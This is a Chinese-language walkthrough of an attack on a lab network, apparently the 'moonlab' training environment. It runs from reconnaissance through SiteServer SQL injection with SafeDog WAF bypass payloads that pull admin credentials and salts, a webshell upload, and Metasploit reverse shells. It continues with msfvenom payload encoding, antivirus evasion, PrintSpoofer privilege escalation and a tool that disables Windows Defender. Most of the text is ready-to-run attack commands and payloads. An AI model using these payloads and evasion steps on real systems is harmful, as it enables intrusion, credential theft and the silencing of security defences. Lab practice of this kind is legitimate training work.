使用的是暗月提供的环境
直接虚拟机运行即可
配置完成即可
对于外网的主机144、我们是无法进行ping的、防火墙是拦截了ping的数据包的
我们可以直接访问、能访问成功说明外网的环境配置没有问题
由于内网防火墙的设置、也是禁用了ping命令的
web机与OA办公机是无法互相ping的、验证的方式只能是通过直接访问其ip的80、端口即可
域控机器是没有设置防火墙的、也没有禁用ping、可以直接ping测试、
(内网是使用netdiscover、外网是使用ping查看或者是网站查询)
sudo netdiscover -i eth0 -r 192.168.1.0/24
sudo masscan -p 1-65535 192.168.1.150 --rate=1000
sudo nmap -p 21,80,999,6588,5985 -sS -sC -v -A 192.168.1.114 -oA 114
这里我们还发现了目标机使用的dns解析的地址信息
由于前面我们在访问的时候就知道是访问不了的肯定是需要进行域名的绑定的
再次访问
网站有安全狗
whatweb www.moonlab.com
WAF拦截
python3 dirsearch.py -u "www.moonlab.com" -t 1 -e*
由于有waf的存在这里要注意扫描的速度不能太快
但是我们在使用的时候发现dirsearch是没有办法进行扫描的、直接就是报错
意思就是访问不到目标
但是网站是真实存在的
这个当时自己扫的时候一直是报错、一度怀疑是源码的问题、弄了半天原来是url的问题
gobuster dir -u http://www.moonlab.com -w /usr/share/wordlists/dirb/big.txt -t 50
和上面的扫描同款问题
python3 dirmap.py -i http://www.webhack123.com -lcf
并发过高会被拦截
使用工具进行扫描的时候都是没有办法进行的.
学着样子自己写一个目录遍历的脚本
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time
# url = "http://www.moonlab.com"
with open ('dicc.txt','r',encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com/'+dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen))
#sys.exit()
time.sleep(2)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
if str(strlen) != "2939":
with open('url.txt','a',encoding='UTF-8') as writefile:
writefile.write(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen)+'\n')
然后我们找到一些相关的文件
访问
查看当前版本
然后进行相关漏洞的一些搜索
发现在steserver中确实是存在sql注入
这里找到两个
https://github.com/w-digital-scanner/w9scan
https://github.com/hmoytx/WVS
但是后者没有前者的稳定好用、我们这里使用的是前者W9Scan
找到steserver的相关poc
修改版
import requests
ps=[
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url="http://www.moonlab.com/"+p
res = requests.get(url)
if res.status_code==500 and "GAOJIMicrosoft" in res.text:
print(url+'\n')
print('-------------------------------'+'\n')
print(res.text)
关于上面的WVS的poc检测也是一样的
找到能用的payload
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
访问
已经确认的安全语句
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
url解码
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --
上面的十六进制解码
然后尝试查询数据库名称
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)and%20db_name()=2;%20--
sql注入被拦截
使用按位取反绕过
=~1
按位取反绕过防火墙
http://cn-sec.com/archives/317348.html
安全狗绕过:
https://xz.aliyun.com/t/8000
https://xz.aliyun.com/t/7572
https://cloud.tencent.com/developer/article/1674113
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)and%20db_name()=~2;%20--
针对数据库中的用户名密码来查询
前面我们已经知道这个是个steserver的框架、对于数据结构我们可以直接在搜索引擎上进行搜索
这里直接列出该数据表的功能
确定数据库用户名密码所在的数据表
进行查询
这里为了防止安全狗、我们一次查询的数量不会太多、一次一条
select top1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]
测试
安全狗拦截
取反放在前面测试
?UnLock=sdfe'&UserNameCollection=test')and ~1= select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]; --
可以过安全狗、但是语句说是select附近出现错误
加括号
成功执行
admin
?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 password from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
密码
64Cic1ERUP9n2OzxuKl9Tw==
?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 PasswordFormat from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
加密方式
Encrypted
查询加密盐值
?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 [PasswordSalt] from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
盐值
LIywB/zHFDTuEA1LU53Opg==
源码审计
查找相应的加密方式、
参考
http://cn-sec.com/archives/71636.html
https://www.cnblogs.com/peterpan0707007/p/8721094.html
https://blog.tangwebsafe.com/2021/03/23/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-%E9%AA%8C%E8%AF%81%E7%A0%81%E7%BB%95%E8%BF%87%E3%80%81%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E%E6%BC%8F%E6%B4%9E/
后台找回密码
将问题答案设置为空
直接将后台密码带出来
刚开始在内容模块上传文件是不行的、上传的文件都会被安全狗咬死的、
只能是找一些上传压缩包的地方、等到用的时候自动解压
站点模块管理是可以的
自己不会写过狗的shell、5555555555、只能直接拿冰蝎的马试试能不能过了
http://www.moonlab.com/SiteFiles/SiteTemplates/shell/shell.aspx
rebeyond
拿下
嫖的过狗马
使用蚁剑进行连接
冰蝎
systeminfo
两块网卡有东西
netstat -ano
net start
safedog 安全狗
Defender win自带的杀毒
firewall 防火墙
MySQL 提权
SQLserver 提权
Print Spooler 打印机服务提权
tasklist
whoami /all
SeImpersonatePrivilege 身份验证后模拟客户端 已启用 这个服务能够帮助我们提权
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9090
show options
run
添加路由:
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.1.0/24
查看添加的路由表信息
run autoroute -p
添加代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run
proxychains4 curl 10.10.1.130
先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中
设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.130 //cs主机地址
set LPORT 6060 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
上面的防护软件我们已经清楚了、对于我们能过够利用提权的一些进程我们也已经查看了
我们可以利用的poc还是挺多的、但是安全狗的免杀也是很重要的
这里我们使用的是Windows的打印机漏洞、这个漏洞在20、21年都一直在爆0day
参考
https://www.cnblogs.com/trevain/p/13672443.html
http://caidaome.com/?post=285
上面介绍的都是使用dll动态链接库来做反弹的、但是这种上传上去就会被安全狗杀
这里使用上面的Print Spooler免杀
这里我们得到的shell的用户权限是很小的、打开的终端也是不能查看文件切换目录的、所以我们在上传文件的时候要注意上传到最小用户也能读能执行的目录下、和Linux一样需要上传到Temp目录
查看权限
printspoofer1.exe -i -c "whoami"
通过poc我们可以是system权限、但是没有办法
使用教程
https://github.com/itm4n/PrintSpoofer
我们使用poc开一个system权限的cmd进程、考虑在使用cs注入一个system的smb通道
PrintSpoofer.exe -i -c cmd
但是在cs上却不行
这种进程是用不了的
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=6061 -e x86/shikata_ga_nai -i 20 -f c -o payload3.c
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6061
exploit -j
工具地址
https://github.com/1y0n/AV_Evasion_Tool
被windows的杀软直接给杀了
然后使用掩目就不断的尝试变换shell一直都是不行的
中间又经过了两个小时
灵光一现
既然我们绕过不杀软、为何不直接将他杀了
开始想办法
大佬就20小时前刚写的工具
https://github.com/APTortellini/DefenderSwitch
直接上
我们先利用打印机漏洞获取一个system的cmd
牛蛙牛蛙
直接关闭了Windows Defender Service
再次上传我们msfvenom生成的攻击载荷
再次经过掩目做免杀、生成exe
上传
Defender终于闭嘴了、狗哥也没有反应
system权限
注入一个administrator的进程
在注入一个system的进程
先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中
设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.130 //cs主机地址
set LPORT 6060 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!